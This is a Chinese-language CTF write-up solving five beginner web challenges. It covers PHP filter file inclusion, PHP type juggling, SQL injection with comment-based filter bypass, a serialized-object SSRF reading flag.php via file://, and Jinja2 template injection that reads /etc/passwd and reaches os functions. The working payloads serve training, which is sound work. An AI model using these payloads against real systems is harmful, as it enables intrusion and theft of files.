1.file_include
打开题目看源码,发现是文件包含漏洞,include()包含./check.php文件;传一个参数filename,这里一开始想到用伪协议读取./check.php的内容
?filename=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=./check.php
然后回显不能,说明又过滤,然后接着试了一下其它伪协议,发现也不能,也是回显do not hack, 应该是存在字符过滤,试试另一种iconv转换字符编码的函数 ,convert.iconv.*过滤器,该过滤器相当于用来iconv()函数,是用来转换文件的编码方式的,详细可看这篇文章php - 如何通过 php 中的 iconv 库获取支持的编码列表? - IT工具网,这里有它可以转换成的字符集
?filename=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=./check.php
发现还是有过滤,然后将read拿走,成功看到./check.php的内容,里面的把bash那些字符都过滤了,最后查看flag.php
2.easyphp
打开题目,先代码审计,这种长代码要分开审计比较好理解
首先,第一个if,先判断a是否为空,intval函数就是将我们输入的字符串类型转化成整数 ,然后它的值要大于6000000,我们这里用科学计数法来传a,如1e5=100000,则1e8>6000000,并且1e8的长度的等于3满足第一个if判断,a=1e8;第二个if是判断b是否为空,且b的md5加密后的值从最后一位字符数6位的值位8b184b才满足,直接脚本爆破,爆出b= 53724 满足
import hashlib
def get_md5(password):
#1- 实例化加密对象
md5 = hashlib.md5()
#2- 进行加密操作
md5.update(password.encode('utf-8'))
#3- 返回加密后的结果
return md5.hexdigest()
for i in range(1,100000):
md51=get_md5(str(i))
if md51[-6:]=='8b184b':
print(i)
接下来审计这段,传进来的c 需要json格式 ,看if判断的条件,c非空 且 不是数值类型(前面有个感叹号) 且 c的m键值要大于2022,再看后面,c的m键值后面还要做比较,因此不能直接简单构造一个is_numreric为false的字符串。例如,'123a'和一个整数作比较时,它会转换成123;'a123'和整数作比较时,由于第一个位置是a,非整数,php则规定其值为0,即变成了0和123比较(关于这个部分可以参考 php中字符串和整数比较 相关知识)。于是可以构造出一个c:{"m":"12345ab"},c还有个n键,其值是一个array类型,大小为2,并且第一个元素是一个数组类型。即类似于:[[*,*...],*]。
后面语句查找n键中是否有字符串'DGGJ',如果找到指定的键值,则返回对应的键名,否则返回 FALSE。看到这里,?:运算符找不到的情况下直接die(退出),因此这里应该让它找到,故n键第二个值为'DGGJ'。
但是,后面foreach遍历时候有'DGGJ'反而直接die,看到这里,发现这两个是矛盾的。回到array_search函数,查找是否有,那不就是比较吗!而且前文说到将一个字符串和一整数比较时会将字符串向整数转化,这个'DGGJ'一点整数的影子都找不到,因此只能判断为0。由此可知,第一种思路直接在c的第二个位置填上字符串'DGGJ'比较成功,第二种思路填一个数字0比较成功。第一种思路前面已经pass,因此选择第二种思路。
最后根据json编码格式对c进行编码即可
?a=1e8&b=53724&c={"m":"12345ab","n":[[0,1,2],0]}
参考链接:攻防世界web新手区easyphp题解writeup_weixin_46906325的博客-优快云博客
3.inget
叫我们输入一个id,且尝试绕过,看到id就想到可能是sql注入,然后尝试一下万能钥匙 ,
尝试要不要符号闭合,然后传进去id=1' or 1=1 --+flag就出了,这道题也可以用sqlmap跑
4.fakebook
打开题目是这样,然后我们先去创建一个账号来登录点击username
点击username,进入了新的页面,测试了一下这里有sql注入, ?no=1 and 1=1#正常回显, ?no=1 and 1=2#错误回显,所以存在注入点
?no=1 order by 5# 到这里就报错,说明字段数为4
利用联合注入 ?no=1 union select 1,2,3,4 # 发现回显失败,这地方有过滤,那就得绕过
这边试过了好几个方式,发现/**/可以绕过,/**/是注释的意思,发现可以回显,在2的地方
那就看一下数据库名字,
?no=-1/**/ union/**/ select 1,database(),3,4 #,为 fakebook
接着爆表,?no=-1/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
再接着表列,
?no=-1/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
最后爆字段,
?no=-1/**/union/**/select 1,group_concat(data),3,4 from users#
发现有
O:8:"UserInfo":3:{s:4:"name";s:2:"11";s:3:"age";i:11;s:4:"blog";s:14:"www.by1265.com";}
序列化的字符串,看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php 。
用工具扫除了一个 (robots.txt下载到的源代码)
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$output = curl_exec($ch); #执行一个cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码
if($httpCode == 404) {
return 404;
}
curl_close($ch);// 关闭cURL资源,并且释放系统资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码审计中:curl 可以使用伪协议file:///文件路径。
结合以上四点我们可以知道,flag可能在/var/www/html/flag.php且传入的参数被序列化了且传入的变量有$name、$age、$blog,且我们需要用到伪协议file:///。最终们要构建的payload,满足这些条件的代码如下:
<?php
class UserInfo
{
public $name = "123"; #任意
public $age = 123; #任意
public $blog = "file:///var/www/html/flag.php";
}
$b=new UserInfo();
echo(serialize($b));
?>
最后一步构建的paylod为
?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
(传入的序列化参数需要加上 '')
查看源代码发现base64加密的字符串,点进去发现
5. Web_python_template_injection
打开题目,显示是python模板注入,本题超出了所学范围了,然后看来网上的大佬解析做的
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
判断有无模板注入,发现1+1=2回显出来了,传入参数config,得到回显
下面介绍几个常用的魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
可以看到第40个(从0开始)
有一个type file类型(可以进行文件读取)
可以看到第71个(从0开始)
有一个 <class ‘site._Printer’>类型(可以进行命令执行)
文件读取
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
命令执行
//Windows操作系统
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
,可以看到flag文件
读取flag,
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}